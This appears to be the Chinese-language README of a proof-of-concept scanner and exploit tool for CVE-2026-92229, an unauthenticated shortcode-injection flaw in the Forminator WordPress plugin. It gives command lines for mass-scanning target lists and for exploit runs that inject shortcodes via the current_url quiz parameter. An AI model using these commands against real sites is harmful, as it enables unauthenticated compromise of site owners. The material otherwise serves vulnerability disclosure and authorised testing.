针对 Forminator(WPMU DEV)中 CVE-2026-92229 的 Python 3 PoC 扫描器/漏洞利用工具。
| 插件 | forminator |
| 受影响版本 | ≤ 1.57.2 |
| 修复版本 | 1.57.3+ |
| CVSS | 9.1(严重) |
| 认证 | 未认证 |
| 向量 | POST 参数 current_url(测验 AJAX) |
| CWE | CWE-94(代码注入) |
| 致谢 | Kuba(Wordfence) |
在受影响版本中,用户提供的 current_url 会被反射到测验结果 HTML 中(例如社交分享属性),并且响应缓冲区会经过 WordPress 的 do_shortcode() 处理。未认证的攻击者可以通过 admin-ajax.php 提交测验,并在 current_url 中嵌入任意短代码。
主要 AJAX 动作:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes(预览;--preview)在 1.57.3 中通过将短代码执行限制在预期的文本字段而非整个 HTML 缓冲区来修复。
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| 选项 | 描述 |
|---|---|
-u, --url | 单个目标基础 URL |
--list | 每行一个 URL 的文件 |
--mode | check(默认)或 exploit |
--page-url | 包含表单的页面路径或 URL |
--form-id | Forminator 模块 ID |
--form-type | quizzes、custom-forms 或 poll |
--answers | 测验答案,格式为 question_id:answer_id,... |
--shortcode | 短代码载荷(在 current_url 中包裹为 [caption]…[/caption]) |
--preview | 使用预览 AJAX 动作 |
--threads, -j | 批量扫描并发数(默认 20) |
--output | JSONL 结果(默认 cve_2026_92229_results.jsonl) |
--vuln-list | 检查命中的文本文件(默认 hits.txt) |
--candidates-list | 可被利用检查的 JSONL 元数据(默认 candidates.jsonl) |
--quiet | 减少批量运行时的进度输出 |
| 文件 | 内容 |
|---|---|
cve_2026_92229_results.jsonl | 每个目标的 JSON(status、version、modules 等) |
hits.txt | 带有 exploitable_candidate: true 的基础 URL |
candidates.jsonl | 命中详情:form_id、page_url、form_type |
status 值| 状态 | 含义 |
|---|---|
candidate | 存在漏洞的版本 + 可解析答案的测验 |
form_no_quiz_answers | 找到表单但测验答案无法自动解析 |
plugin_no_public_form | 插件存在,但未发现公开模块 |
patched | 版本 ≥ 1.57.3(或更新的主版本) |
no_plugin | 未检测到 Forminator |
answers[qid] 时才标记 exploitable_candidate(许多网站使用 JS 渲染的测验 → 请使用 --answers 或手动利用)。[caption] 进行探测)。.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
本地批量扫描列表(例如 list.txt、FOFA 导出、*.jsonl 结果)已列入 .gitignore,不应提交。
仅用于授权的安全测试。您有责任遵守适用的法律和项目规则。